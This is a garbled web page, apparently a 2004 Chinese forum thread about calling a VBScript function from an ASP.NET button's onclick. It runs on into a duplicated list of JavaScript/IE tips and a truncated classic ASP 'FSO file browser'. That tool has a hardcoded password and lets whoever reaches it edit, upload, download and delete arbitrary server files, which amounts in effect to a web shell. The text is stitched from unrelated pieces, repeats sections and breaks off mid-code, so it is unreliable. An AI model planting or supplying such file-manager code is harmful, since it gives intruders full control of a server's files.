62,244
社区成员
发帖
与我相关
我的任务
分享Button1.Attributes.Add("onclick","save()");
客户端有一个vbscript 写的 save 函数 点击 按钮执行这个函数 我这么写 怎么不对呢？？
...全文
请发表友善的回复…
发表回复
slhuang 2004-12-23
- 打赏
- 举报
……如果你的BUTTON是 runat=server ,是不行的。
yaotiebing 2004-12-23
- 打赏
- 举报
回复人：xrll() ( 两星(中级)) 信誉：100 2004-12-23 10:25:00 得分:0
?
这样试试：
Button1.Attributes.Add("onclick","execScript("save()","vbscript")");
这样语法有错误
?
这样试试：
Button1.Attributes.Add("onclick","execScript("save()","vbscript")");
这样语法有错误
yaotiebing 2004-12-23
- 打赏
- 举报
<script language="vbscript">
function Save()
dim strRet
strRet = document.all("DCellWeb1").DCellWeb1.GetFormula(iCurCol,2,0)
window.close
end function
</script>
function Save()
dim strRet
strRet = document.all("DCellWeb1").DCellWeb1.GetFormula(iCurCol,2,0)
window.close
end function
</script>
adminyao 2004-12-23
- 打赏
- 举报
Button1.Attributes.Add("onClick","javascript:save()");
try it again!
try it again!
eyetiger0104 2004-12-23
- 打赏
- 举报
帮顶！
tiantdesigner 2004-12-23
- 打赏
- 举报
Button1.Attributes.Add("onClick","vbscript:save()");
xrll 2004-12-23
- 打赏
- 举报
这样试试：
Button1.Attributes.Add("onclick","execScript("save()","vbscript")");
Button1.Attributes.Add("onclick","execScript("save()","vbscript")");
木古古18 2004-12-23
- 打赏
- 举报
按你的写发，有什么问题，是save()没有被执行吗？那你换成
Button1.Attributes.Add("onclick","return save()");
Button1.Attributes.Add("onclick","return save()");
jxzhang615 2004-12-23
- 打赏
- 举报
帮顶！
Eddie005 2004-12-23
- 打赏
- 举报
把页面html和脚本贴出来看看~
coldpanth 2004-12-23
- 打赏
- 举报
对啊,没错啊,就是像标题这么写(这帖有散分嫌疑).
Javascript小技巧一箩筐
事件源对象
event.srcElement.tagName
event.srcElement.type
捕获释放 event.srcElement.setCapture();
event.srcElement.releaseCapture();
事件按键
event.keyCode
event.shiftKey
event.altKey
event.ctrlKey
事件返回值
event.returnValue
鼠标位置 event.x
event.y
窗体活动元素 document.activeElement
绑定事件
document.captureEvents(Event.KEYDOWN);
访问窗体元素 document.all("txt").focus();
document.all("txt").select();
窗体命令
document.execCommand
窗体COOKIE document.cookie
菜单事件
document.oncontextmenu
创建元素 document.createElement("SPAN");
根据鼠标获得元素： document.elementFromPoint(event.x,event.y).tagName=="TD document.elementFromPoint(event.x,event.y).appendChild(ms)
窗体图片
document.images[索引]
窗体事件绑定 document.onmousedown=scrollwindow;
元素
document.窗体.elements[索引]
对象绑定事件 document.all.xxx.detachEvent("onclick",a);
插件数目
navigator.plugins
取变量类型 typeof($js_libpath) == "undefined"
下拉框 下拉框.options[索引]
下拉框.options.length
查找对象
document.getElementsByName("r1");
document.getElementById(id);
定时 timer=setInterval("scrollwindow()",delay);
clearInterval(timer);
UNCODE编码 escape() ,unescape
父对象
obj.parentElement(dhtml)
obj.parentNode(dom)
交换表的行 TableID.moveRow(2,1)
替换CSS
document.all.csss.href = "a.css";
并排显示
display:inline
隐藏焦点 hidefocus=true
根据宽度换行 style="word-break:break-all"
自动刷新
简单邮件
快速转到位置 obj.scrollIntoView(true)
锚
anchors
网页传递参数 location.search();
可编辑 obj.contenteditable=true
执行菜单命令
obj.execCommand
双字节字符
/[^x00-xff]/
汉字
/[u4e00-u9fa5]/
让英文字符串超出表格宽度自动换行
word-wrap: break-word; word-break: break-all;
透明背景
获得style内容 obj.style.cssText
HTML标签
document.documentElement.innerHTML
第一个style标签
document.styleSheets[0]
style标签里的第一个样式
document.styleSheets[0].rules[0]
防止点击空链接时，页面往往重置到页首端。 word
上一网页源
asp:
request.servervariables("HTTP_REFERER")
javascript:
document.referrer
释放内存 CollectGarbage();
禁止右键
document.oncontextmenu = function() { return false;}
禁止保存
地址栏图标
favicon.ico 名字最好不变16*16的16色,放虚拟目录根目录下
收藏栏图标
查看源码
button value=查看网页源代码 onclick="window.location = "view-source:"+ "http://www.csdn.net/"">
关闭输入法
自动全选
ENTER键可以让光标移到下一个输入框
文本框的默认值
title换行 obj.title = "123
sdfs "
获得时间所代表的微秒 var n1 = new Date("2004-10-10".replace(/-/g, "/")).getTime()
窗口是否关闭 win.closed
checkbox扁平
获取选中内容 document.selection.createRange().duplicate().text 自动完成功能 打开该功能 关闭该功能 窗口最大化 无关闭按钮IE window.open("aa.htm", "meizz", "fullscreen=7"); 统一编码/解码 alert(decodeURIComponent(encodeURIComponent("http://你好.com?as= hehe"))) encodeURIComponent对":"、"/"、";" 和 "?"也编码 表格行指示
//各种尺寸
s += " 网页可见区域宽："+ document.body.clientWidth;
s += " 网页可见区域高："+ document.body.clientHeight;
s += " 网页可见区域高："+ document.body.offsetWeight +" (包括边线的宽)";
s += " 网页可见区域高："+ document.body.offsetHeight +" (包括边线的宽)";
s += " 网页正文全文宽："+ document.body.scrollWidth;
s += " 网页正文全文高："+ document.body.scrollHeight;
s += " 网页被卷去的高："+ document.body.scrollTop;
s += " 网页被卷去的左："+ document.body.scrollLeft;
s += " 网页正文部分上："+ window.screenTop;
s += " 网页正文部分左："+ window.screenLeft;
s += " 屏幕分辨率的高："+ window.screen.height;
s += " 屏幕分辨率的宽："+ window.screen.width;
s += " 屏幕可用工作区高度："+ window.screen.availHeight;
s += " 屏幕可用工作区宽度："+ window.screen.availWidth;
//过滤数字
//特殊用途
button value=导入收藏夹 onclick="window.external.ImportExportFavorites(true,"http://localhost");">
button value=导出收藏夹 onclick="window.external.ImportExportFavorites(false,"http://localhost");">
button value=整理收藏夹 onclick="window.external.ShowBrowserUI("OrganizeFavorites", null)">
button value=语言设置 onclick="window.external.ShowBrowserUI("LanguageDialog", null)">
button value=加入收藏夹 onclick="window.external.AddFavorite("http://www.google.com/", "google")">
button value=加入到频道 onclick="window.external.addChannel("http://www.google.com/")">
button value=加入到频道 onclick="window.external.showBrowserUI("PrivacySettings",null)">
//不缓存
//正则匹配匹配中文字符的正则表达式： [u4e00-u9fa5]
匹配双字节字符(包括汉字在内)：[^x00-xff]
匹配空行的正则表达式： [s| ]*
匹配HTML标记的正则表达式：/<(.*)>.*|<(.*) />/
匹配首尾空格的正则表达式：(^s*)|(s*$)（像vbscript那样的trim函数）
匹配Email地址的正则表达式：w+([-+.]w+)*@w+([-.]w+)*.w+([-.]w+)*
匹配网址URL的正则表达式：http://([w-]+.)+[w-]+(/[w- ./?%&=]*)?
以下是例子：
利用正则表达式限制网页表单里的文本框输入内容：
用正则表达式限制只能输入中文：onkeyup="value=value.replace(/[^u4E00-u9FA5]/g,"")" onbeforepaste="clipboardData.setData("text",clipboardData.getData("text").replace(/[^u4E00-u9FA5]/g,""))"
1.用正则表达式限制只能输入全角字符： onkeyup="value=value.replace(/[^uFF00-uFFFF]/g,"")" onbeforepaste="clipboardData.setData("text",clipboardData.getData("text").replace(/[^uFF00-uFFFF]/g,""))"
2.用正则表达式限制只能输入数字：onkeyup="value=value.replace(/[^d]/g,"") "onbeforepaste="clipboardData.setData("text",clipboardData.getData("text").replace(/[^d]/g,""))"
3.用正则表达式限制只能输入数字和英文：onkeyup="value=value.replace(/[W]/g,"") "onbeforepaste="clipboardData.setData("text",clipboardData.getData("text").replace(/[^d]/g,""))"
//消除图像工具栏
or
//无提示关闭
function Close()
{
var ua=navigator.userAgent
var ie=navigator.appName=="Microsoft Internet Explorer"?true:false
if(ie)
{
var IEversion=parseFloat(ua.substring(ua.indexOf("MSIE ")+5,ua.indexOf(";",ua.indexOf("MSIE "))))
if(IEversion< 5.5)
{
var str = "";
document.body.insertAdjacentHTML("beforeEnd", str);
document.all.noTipClose.Click();
}
else
{
window.opener =null;
window.close();
}
}
else
{
window.close()
}
}
//取得控件得绝对位置(1)
<script language="javascript">
function getoffset(e)
{
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent)
{
t+=e.offsetTop;
l+=e.offsetLeft;
}
var rec = new Array(1);
rec[0] = t;
rec[1] = l;
return rec
}
button value=最小化 onclick=min.Click()>
button value=最大化 onclick=max.Click()>
button value=关闭 onclick=close.Click()>
//光标停在文字最后
<script language="javascript">
function cc()
{
var e = event.srcElement;
var r =e.createTextRange();
r.moveStart("character",e.value.length);
r.collapse(true);
r.select();
}
//页面进入和退出的特效
进入页面
推出页面
这个是页面被载入和调出时的一些特效。duration表示特效的持续时间，以秒为单位。transition表示使
用哪种特效，取值为1-23:
0 矩形缩小
1 矩形扩大
2 圆形缩小
3 圆形扩大
4 下到上刷新
5 上到下刷新
6 左到右刷新
7 右到左刷新
8 竖百叶窗
9 横百叶窗
10 错位横百叶窗
11 错位竖百叶窗
12 点扩散
13 左右到中间刷新
14 中间到左右刷新
15 中间到上下
16 上下到中间
17 右下到左上
18 右上到左下
19 左上到右下
20 左下到右上
21 横条
22 竖条
23
//网页是否被检索
其中属性值有以下一些:
属性值为"all": 文件将被检索，且页上链接可被查询；
属性值为"none": 文件不被检索，而且不查询页上的链接；
属性值为"index": 文件将被检索；
属性值为"follow": 查询页上的链接；
属性值为"noindex": 文件不检索，但可被查询链接；
属性值为"nofollow":
//打印分页
具体使用手册，更多信息，点这里 //自带的打印预览 WebBrowser.ExecWB(1,1) 打开 Web.ExecWB(2,1) 关闭现在所有的IE窗口，并打开一个新窗口 Web.ExecWB(4,1) 保存网页 Web.ExecWB(6,1) 打印 Web.ExecWB(7,1) 打印预览 Web.ExecWB(8,1) 打印页面设置 Web.ExecWB(10,1) 查看页面属性 Web.ExecWB(15,1) 好像是撤销，有待确认 Web.ExecWB(17,1) 全选 Web.ExecWB(22,1) 刷新 Web.ExecWB(45,1) 关闭窗体无提示
button value=打印 onclick=document.all.WebBrowser.ExecWB(6,1)>
button value=直接打印 onclick=document.all.WebBrowser.ExecWB(6,6)>
button value=页面设置 onclick=document.all.WebBrowser.ExecWB(8,1)>
//去掉打印时的页眉页脚
<script language="JavaScript">
var HKEY_Root,HKEY_Path,HKEY_Key;
HKEY_Root="HKEY_CURRENT_USER";
HKEY_Path="\Software\Microsoft\Internet Explorer\PageSetup\";
//设置网页打印的页眉页脚为空
function PageSetup_Null()
{
try
{
var Wsh=new ActiveXObject("WScript.Shell");
HKEY_Key="header";
Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,"");
HKEY_Key="footer";
Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,"");
}
catch(e){}
}
//设置网页打印的页眉页脚为默认值
function PageSetup_Default()
{
try
{
var Wsh=new ActiveXObject("WScript.Shell");
HKEY_Key="header";
Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,"&w&b页码,&p/&P");
HKEY_Key="footer";
Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,"&u&b&d");
}
catch(e){}
}
onclick=PageSetup_Null()>
onclick=PageSetup_Default()>
//浏览器验证
function checkBrowser()
{
this.ver=navigator.appVersion
this.dom=document.getElementById?1:0
this.ie6=(this.ver.indexOf("MSIE 6")>-1 && this.dom)?1:0;
this.ie5=(this.ver.indexOf("MSIE 5")>-1 && this.dom)?1:0;
this.ie4=(document.all && !this.dom)?1:0;
this.ns5=(this.dom && parseInt(this.ver) >= 5) ?1:0;
this.ns4=(document.layers && !this.dom)?1:0;
this.mac=(this.ver.indexOf("Mac") > -1) ?1:0;
this.ope=(navigator.userAgent.indexOf("Opera")>-1);
this.ie=(this.ie6 || this.ie5 || this.ie4)
this.ns=(this.ns4 || this.ns5)
this.bw=(this.ie6 || this.ie5 || this.ie4 || this.ns5 || this.ns4 || this.mac || this.ope)
this.nbw=(!this.bw)
return this;
}
//计算内容宽和高
onClick="test(txt)">
//无模式的提示框
function modelessAlert(Msg)
{
window.showModelessDialog("javascript:alert(""+escape(Msg)+"");window.close();","","status:no;resizable:no;help:no;dialogHeight:height:30px;dialogHeight:40px;");
}
//屏蔽按键
屏蔽鼠标右键、Ctrl+N、Shift+F10、Alt+F4、F11、F5刷新、退格键
<script language="Javascript">
//可编辑SELECT
//设置光标位置
function getCaret(textbox)
{
var control = document.activeElement;
textbox.focus();
var rang = document.selection.createRange();
rang.setEndPoint("StartToStart",textbox.createTextRange())
control.focus();
return rang.text.length;
}
function setCaret(textbox,pos)
{
try
{
var r =textbox.createTextRange();
r.moveStart("character",pos);
r.collapse(true);
r.select();
}
catch(e)
{}
}
function selectLength(textbox,start,len)
{
try
{
var r =textbox.createTextRange();
r.moveEnd("character",len-(textbox.value.length-start));
r.moveStart("character",start);
r.select();
}
catch(e)
{//alert(e.description)}
}
function insertAtCaret(textbox,text)
{
textbox.focus();
document.selection.createRange().text = text;
}
//页内查找
function findInPage(str)
{
var txt, i, found,n = 0;
if (str == "")
{
return false;
}
txt = document.body.createTextRange();
for (i = 0; i <= n && (found = txt.findText(str)) != false; i++)
{
txt.moveStart("character", 1);
txt.moveEnd("textedit");
}
if (found)
{
txt.moveStart("character", -1);
txt.findText(str);
txt.select();
txt.scrollIntoView();
n++;
}
else
{
if (n > 0)
{
n = 0;
findInPage(str);
}
else
{
alert(str + "... 您要找的文字不存在。 请试着输入页面中的关键字再次查找！");
}
}
return false;
}
//书
http://www.itpub.net/attachment.php?s=&postid=1894598
http://www.wrclub.net/down/listdown.aspx?id=1341//操作EXECL
<script language="javascript">
function jStartExcel() {
var xls = new ActiveXObject ( "Excel.Application" );
xls.visible = true;
var newBook = xls.Workbooks.Add;
newBook.Worksheets.Add;
newBook.Worksheets(1).Activate;
xls.ActiveWorkBook.ActiveSheet.PageSetup.Orientation = 2;
xls.ActiveWorkBook.ActiveSheet.PageSetup.PaperSize = 5;
newBook.Worksheets(1).Columns("A").columnwidth=50;
newBook.Worksheets(1).Columns("A").WrapText = true;
newBook.Worksheets(1).Columns("B").columnwidth=50;
newBook.Worksheets(1).Columns("B").WrapText = true;
newBook.Worksheets(1).Range("A1:B1000").NumberFormat = "0";
newBook.Worksheets(1).Range("A1:B1000").HorizontalAlignment = -4131;
newBook.Worksheets(1).Cells(1,1).Interior.ColorIndex="15";
newBook.Worksheets(1).Cells(1,1).value="First Column, First Cell";
newBook.Worksheets(1).Cells(2,1).value="First Column, Second Cell";
newBook.Worksheets(1).Cells(1,2).value="Second Column, First Cell";
newBook.Worksheets(1).Cells(2,2).value="Second Column, Second Cell";
newBook.Worksheets(1).Name="My First WorkSheet";
}
tip
<script Language="JavaScript">
//***********默认设置定义.*********************
tPopWait=50;//停留tWait豪秒后显示提示。
tPopShow=5000;//显示tShow豪秒后关闭提示
showPopStep=20;
popOpacity=99;
//***************内部变量定义*****************
sPop=null;
curShow=null;
tFadeOut=null;
tFadeIn=null;
tFadeWaiting=null;
document.write("");
document.write("");
function showPopupText(){
var o=event.srcElement;
MouseX=event.x;
MouseY=event.y;
if(o.alt!=null && o.alt!=""){o.dypop=o.alt;o.alt=""};
if(o.title!=null && o.title!=""){o.dypop=o.title;o.title=""};
if(o.dypop!=sPop) {
sPop=o.dypop;
clearTimeout(curShow);
clearTimeout(tFadeOut);
clearTimeout(tFadeIn);
clearTimeout(tFadeWaiting);
if(sPop==null || sPop=="") {
dypopLayer.innerHTML="";
dypopLayer.style.filter="Alpha()";
dypopLayer.filters.Alpha.opacity=0;
}
else {
if(o.dyclass!=null) popStyle=o.dyclass
else popStyle="cPopText";
curShow=setTimeout("showIt()",tPopWait);
}
}
}
function showIt(){
dypopLayer.className=popStyle;
dypopLayer.innerHTML=sPop;
popWidth=dypopLayer.clientWidth;
popHeight=dypopLayer.clientHeight;
if(MouseX+12+popWidth>document.body.clientWidth) popLeftAdjust=-popWidth-24
else popLeftAdjust=0;
if(MouseY+12+popHeight>document.body.clientHeight) popTopAdjust=-popHeight-24
else popTopAdjust=0;
dypopLayer.style.left=MouseX+12+document.body.scrollLeft+popLeftAdjust;
dypopLayer.style.top=MouseY+12+document.body.scrollTop+popTopAdjust;
dypopLayer.style.filter="Alpha(Opacity=0)";
fadeOut();
}
function fadeOut(){
if(dypopLayer.filters.Alpha.opacity0) {
dypopLayer.filters.Alpha.opacity-=1;
tFadeIn=setTimeout("fadeIn()",1);
}
}
document.onmouseover=showPopupText;
onclick =function(){
var oSource = window.event.srcElement;
if(oSource.tagName!="DIV")
return false;
var sel = document.selection;
if (sel!=null) {
var rng = sel.createRange();
if (rng!=null)
rng.pasteHTML("插入文字");
}
}
//netscapte下操作xml
doc = new ActiveXObject("Msxml2.DOMDocument");
doc = new ActiveXObject("Microsoft.XMLDOM")
->>
doc = (new DOMParser()).parseFromString(sXML,"text/xml")
//判断键值
<script language="javascript">
var ie =navigator.appName=="Microsoft Internet Explorer"?true:false;
function keyDown(e)
{
if(!ie)
{
var nkey=e.which;
var iekey="现在是ns浏览器";
var realkey=String.fromCharCode(e.which);
}
if(ie)
{
var iekey=event.keyCode;
var nkey="现在是ie浏览器";
var realkey=String.fromCharCode(event.keyCode);
if(event.keyCode==32){realkey="" 空格""}
if(event.keyCode==13){realkey="" 回车""}
if(event.keyCode==27){realkey="" Esc""}
if(event.keyCode==16){realkey="" Shift""}
if(event.keyCode==17){realkey="" Ctrl""}
if(event.keyCode==18){realkey="" Alt""}
}
alert("ns浏览器中键值:"+nkey+" "+"ie浏览器中键值:"+iekey+" "+"实际键为"+realkey);
}
document.onkeydown = keyDown;
//Javascript Document.
//禁止FSO
1.注销组件
regsvr32 /u scrrun.dll
2.修改PROGID
HKEY_CLASSES_ROOTScripting.FileSystemObject
Scripting.FileSystemObject
3.对于使用object的用户，修改HKEY_CLASSES_ROOTScripting.
//省略号
//检测media play版本
");
else
document.write("");
}
};
//js枚举
function getComputerName()
{
var objWMIService = GetObject("Winmgmts:rootcimv2");
for(e = new Enumerator(objWMIService) ; !e.atEnd() ; e.moveNext())
{
var getComputer = e.item();
return getComputer.Name;
}
}
//条件编译
<script language=javascript>
/*@cc_on @*/
/*@if (@_win32 && @_jscript_version>5)
function window.confirm(str)
{
execScript("n = msgbox(""+ str +"", 257)", "vbscript");
return(n == 1);
}
@end @*/
//mergeAttributes 复制所有读/写标签属性到指定元素。
获取选中内容 document.selection.createRange().duplicate().text 自动完成功能 打开该功能 关闭该功能 窗口最大化 无关闭按钮IE window.open("aa.htm", "meizz", "fullscreen=7"); 统一编码/解码 alert(decodeURIComponent(encodeURIComponent("http://你好.com?as= hehe"))) encodeURIComponent对":"、"/"、";" 和 "?"也编码 表格行指示
or
//无提示关闭
function Close()
{
var ua=navigator.userAgent
var ie=navigator.appName=="Microsoft Internet Explorer"?true:false
if(ie)
{
var IEversion=parseFloat(ua.substring(ua.indexOf("MSIE ")+5,ua.indexOf(";",ua.indexOf("MSIE "))))
if(IEversion< 5.5)
{
var str = "";
document.body.insertAdjacentHTML("beforeEnd", str);
document.all.noTipClose.Click();
}
else
{
window.opener =null;
window.close();
}
}
else
{
window.close()
}
}
//取得控件得绝对位置(1)
<script language="javascript">
function getoffset(e)
{
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent)
{
t+=e.offsetTop;
l+=e.offsetLeft;
}
var rec = new Array(1);
rec[0] = t;
rec[1] = l;
return rec
}
button value=最小化 onclick=min.Click()>
button value=最大化 onclick=max.Click()>
button value=关闭 onclick=close.Click()>
//光标停在文字最后
<script language="javascript">
function cc()
{
var e = event.srcElement;
var r =e.createTextRange();
r.moveStart("character",e.value.length);
r.collapse(true);
r.select();
}
//页面进入和退出的特效
进入页面
推出页面
这个是页面被载入和调出时的一些特效。duration表示特效的持续时间，以秒为单位。transition表示使
用哪种特效，取值为1-23:
0 矩形缩小
1 矩形扩大
2 圆形缩小
3 圆形扩大
4 下到上刷新
5 上到下刷新
6 左到右刷新
7 右到左刷新
8 竖百叶窗
9 横百叶窗
10 错位横百叶窗
11 错位竖百叶窗
12 点扩散
13 左右到中间刷新
14 中间到左右刷新
15 中间到上下
16 上下到中间
17 右下到左上
18 右上到左下
19 左上到右下
20 左下到右上
21 横条
22 竖条
23
//网页是否被检索
其中属性值有以下一些:
属性值为"all": 文件将被检索，且页上链接可被查询；
属性值为"none": 文件不被检索，而且不查询页上的链接；
属性值为"index": 文件将被检索；
属性值为"follow": 查询页上的链接；
属性值为"noindex": 文件不检索，但可被查询链接；
属性值为"nofollow":
//打印分页
page1
page2
//设置打印 button value=页面设置 onclick="factory.printing.PageSetup()"> button value=打印预览 onclick="factory.printing.Preview()"> <script language=javascript> function window.onload() { // -- advanced features factory.printing.SetMarginMeasure(2) // measure margins in inches factory.printing.SetPageRange(false, 1, 3) // need pages from 1 to 3 factory.printing.printer = "HP DeskJet 870C" factory.printing.copies = 2 factory.printing.collate = true factory.printing.paperSize = "A4" factory.printing.paperSource = "Manual feed" // -- basic features factory.printing.header = "居左显示&b居中显示&b居右显示页码，第&p页/共&P页" factory.printing.footer = "（自定义页脚）" factory.printing.portrait = false factory.printing.leftMargin = 0.75 factory.printing.topMargin = 1.5 factory.printing.rightMargin = 0.75 factory.printing.bottomMargin = 1.5 } function Print(frame) { factory.printing.Print(true, frame) // print with prompt } button value="打印本页" onclick="factory.printing.Print(false)"> button value="页面设置" onclick="factory.printing.PageSetup()"> button value="打印预览" onclick="factory.printing.Preview()">具体使用手册，更多信息，点这里 //自带的打印预览 WebBrowser.ExecWB(1,1) 打开 Web.ExecWB(2,1) 关闭现在所有的IE窗口，并打开一个新窗口 Web.ExecWB(4,1) 保存网页 Web.ExecWB(6,1) 打印 Web.ExecWB(7,1) 打印预览 Web.ExecWB(8,1) 打印页面设置 Web.ExecWB(10,1) 查看页面属性 Web.ExecWB(15,1) 好像是撤销，有待确认 Web.ExecWB(17,1) 全选 Web.ExecWB(22,1) 刷新 Web.ExecWB(45,1) 关闭窗体无提示
button value=打印预览 onclick=document.all.WebBrowser.ExecWB(7,1)>
请按任意一个键。。。。
onclick="alert("click");"
onmouseover="this.style.color="#0000FF";"
onmouseout="this.style.color="#000000";"
>
This is a sample DIV element.
This is another sample DIV element.
onclick="fnMerge()"
>
以上内容可以随意转载，转载后请注名来源和出处！
原文链接：http://ttyp.cnblogs.com/archive/2004/11/15/63900.aspx
//Import
function Import() {
for( var i=0; ionclick="alert("click");"
onmouseover="this.style.color="#0000FF";"
onmouseout="this.style.color="#000000";"
>
This is a sample DIV element.
This is another sample DIV element.
onclick="fnMerge()"
>
电子书制作：源码爱好者 <%
'========================== 版权声明 =========================
'本程序只供在需要特别处理服务器文件时使用，严禁用于非法目的
'由于非正当使用本程序而造成的一切后果及责任自负
'版本: v0.12
'作者: 河北科技大学 rssn | Risingsun,Hebust
'QQ: 126027268
'E-mail: rssn@163.com
'Date: 2006-8-12
'=============================================================
Server.ScriptTimeout=20
Session.Timeout=45 'Session有效时间
Const mss="explorer_" 'Session前缀
Const Password="knowsky" '登录密码
Const Copyright="FSO文件浏览器 - 系统磁盘信息
adding="3" bordercolor="#6595d6">
<% =Copyright %>
<%
End Sub
'新建
Sub NewF(ByVal Fname)
%>
FSO文件浏览器 - 新建
<script language="JavaScript">
function icheck()
{
if(document.rform.nname.value=="")
{
alert("请输入合法的文件名！");
return false;
}
else
return true;
}
<%
End Sub
'保存新建
Sub SaveNew(ByVal Fname)
If Not IsFolder(Fname) Then
Response.Write "<script language='javascript'>alert('文件夹不存在！');history.back();alert('文件或文件夹已存在！');history.back();alert('新建文件夹或文本文件成功！');window.close();alert('您编辑的不是文件或文件不存在！');window.close();
FSO文件浏览器 - 编辑文本文件
<%
End Sub
'保存编辑文件
Sub SaveEdit(ByVal Fname)
Dim oFile,FileStr
Set oFile=oFso.OpenTextFile(Fname,2,True)
FileStr=Request.Form("filestr")
'Response.Write FileStr
oFile.Write FileStr
oFile.Close
Set oFile=Nothing
EchoBack "保存编辑文件成功！"
End Sub
'复制或剪切文件
Sub SetFile(ByVal Fname,ByVal iMode)
Session(mss & "setfile")=Fname
Session(mss & "setmode")=iMode
Dim ww
If 0=iMode Then
ww="复制"
Else
ww="剪切"
End If
EchoClose ww&"成功，请粘贴！"
End Sub
'粘贴文件或文件夹
Sub Parse(ByVal Fname)
Dim oFile,oFolder
Dim sName,iMode
sName=Session(mss & "setfile")
iMode=Session(mss & "setmode")
If sName="" Then
EchoClose "请先复制或剪切！"
Else
If InStr(LCase(Fname), LCase(sName)) > 0 Then
EchoClose "目标文件夹在源文件夹内,非法操作！"
Exit Sub
End If
'================
If Not IsFolder(Fname) Then
EchoClose "目标文件夹不存在！"
ElseIf IsFile(sName) Then
Set oFile=oFso.GetFile(sName)
If iMode=0 Then
oFso.CopyFile sName,Replace(Fname&"\"&oFile.Name,"\\","\")
Else
oFso.MoveFile sName,Replace(Fname&"\"&oFile.Name,"\\","\")
End If
ElseIf IsFolder(sName) Then
Set oFolder=oFso.GetFolder(sName)
If iMode=0 Then
oFso.CopyFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\")
Else
oFso.MoveFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\")
End If
Else
EchoClose "源文件或文件夹不存在！"
Exit Sub
End If
'================
EchoClose "复制或移动成功！刷新可查看效果"
End If
Session(mss & "setfile")=""
Session(mss & "setmode")=0
End Sub
'下载文件
Sub Download(ByVal Fname)
Dim oFile
If Not IsFile(Fname) Then
EchoClose "不是文件或文件不存在！"
Exit Sub
End If
Set oFile=oFso.GetFile(Fname)
If InStr(LCase(oFile.Path)&"\",LCase(Server.MapPath("/")))>0 And Not IsScriptFile(oFso.GetExtensionName(oFile.Name)) Then
Dim FileVName
FileVName=Replace(oFile.Path,Server.MapPath("/"),"")
FileVName=Replace(FileVName,"\","/")
If Left(FileVName,1)<>"/" Then
FileVName="/"&FileVName
End If
Response.Redirect FileVName
Exit Sub
End If
If oFile.Size>1048576*100 Then
EchoClose "文件超过100M，可能会造成服务器死机，\n不允许以Stream方式下载！\n请将该文件复制到网站目录以下\n然后以HTTP方式下载"
Exit Sub
End If
Server.ScriptTimeout=10000 '延长脚本超时时间以提供下载
Dim oStream
Set oStream=Server.CreateObject("ADODB.Stream")
oStream.Open
oStream.Type=1
oStream.LoadFromFile(Fname)
Dim Data
Data=oStream.Read
oStream.Close
Set oStream=Nothing
If Not Response.IsClientConnected Then
Set Data=Nothing
Exit Sub
End If
Response.Buffer=True
Response.AddHeader "Content-Disposition", "attachment; filename=" & oFile.Name
Response.AddHeader "Content-Length", oFile.Size
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite Data
Response.Flush
End Sub
'删除文件
Sub Deletes(ByVal Fname)
If IsFile(Fname) Then
oFso.DeleteFile Fname,True
ElseIf IsFolder(Fname) Then
oFso.DeleteFolder Fname,True
Else
EchoClose "文件或文件夹不存在"
Exit Sub
End If
EchoClose "文件删除成功！"
End Sub
'上传文件
Sub Upload(ByVal Fname)
If Not IsFolder(Fname) Then
EchoClose "没有指定上传的文件夹！"
Exit Sub
End If
%>
FSO文件浏览器 - 文件上传
<script language="JavaScript">
function getSaveName()
{
var filepath=document.uform.upload.value;
if(filepath.length<1) return;
var filename=filepath.substring(filepath.lastIndexOf("\\")+1,filepath.length);
document.uform.ffname.value=filename;
}
<%
End Sub
'保存上传文件
Sub Saveupload(ByVal FolderName)
If Not IsFolder(FolderName) Then
EchoClose "没有指定上传的文件夹！"
Exit Sub
End If
Dim Path,IsOverWrite
Path=FolderName
If Right(Path,1)<>"\" Then Path=Path&"\"
FileName=Replace(Request("filename"),"\","")
If Len(FileName)<1 Then
EchoBack "请选择文件并输入文件名！"
Exit Sub
End If
Path=Path&FileName
If LCase(Request("overwrite"))="true" Then
IsOverWrite=True
Else
IsOverWrite=False
End If
On Error Resume Next
Call MyUpload(Path,IsOverWrite)
If Err Then
EchoBack "文件上传失败！（可能是文件已存在）"
Else
EchoClose "文件上传成功!\n" & Replace(fileName, "\", "\\")
End If
End Sub
'文件上传核心代码
Sub MyUpload(FilePath,IsOverWrite)
Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
RequestSize=Request.TotalBytes
If RequestSize<1 Then Exit Sub
Set oStream=Server.CreateObject("ADODB.Stream")
Set tStream=Server.CreateObject("ADODB.Stream")
With oStream
.Type=1
.Mode=3
.Open
.Write=Request.BinaryRead(RequestSize)
.Position=0
sData=.Read
bCrLf=ChrB(13)&ChrB(10)
iSpaceEnd=InStrB(sData,bCrLf)-1
sSpace=LeftB(sData,iSpaceEnd)
iInfoStart=iSpaceEnd+3
iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
iFileStart=iInfoEnd+5
iFileEnd=InStrB(iFileStart,sData,sSpace)-3
sData="" '清空文件数据
iFileSize=iFileEnd-iFileStart+1
tStream.Type=1
tStream.Mode=3
tStream.Open
.Position=iFileStart-1
.CopyTo tStream,iFileSize
If IsOverWrite Then
tStream.SaveToFile FilePath,2
Else
tStream.SaveToFile FilePath
End If
tStream.Close
.Close
End With
Set tStream=Nothing
Set oStream=Nothing
End Sub
'显示文件属性
Sub Prop(Fname)
On Error Resume Next
Dim obj,oAttrib
If IsFile(Fname) Then
Set obj=oFso.GetFile(Fname)
ElseIf IsFolder(Fname) Then
Set obj=oFso.GetFolder(Fname)
Else
EchoClose "文件或文件夹不存在！"
Exit Sub
End If
Set oAttrib=New FileAttrib_Cls
oAttrib.Attrib=obj.Attributes
%>
FSO文件浏览器 - 文件属性
<script language="javascript">
function ww(obj)
{
return false;
}
<%
End Sub
'修改属性
Sub SaveProp(Fname)
Dim Attribs,Attrib
Attribs=Replace(Request.Form("att")," ","")
Attribs=Split(Attribs,",")
Attrib=0
Dim i
For i=0 To UBound(Attribs)
Attrib=Attrib+Attribs(i)
Next
'Response.Write Attrib
'Exit Sub
Dim obj,oAttrib
If IsFile(Fname) Then
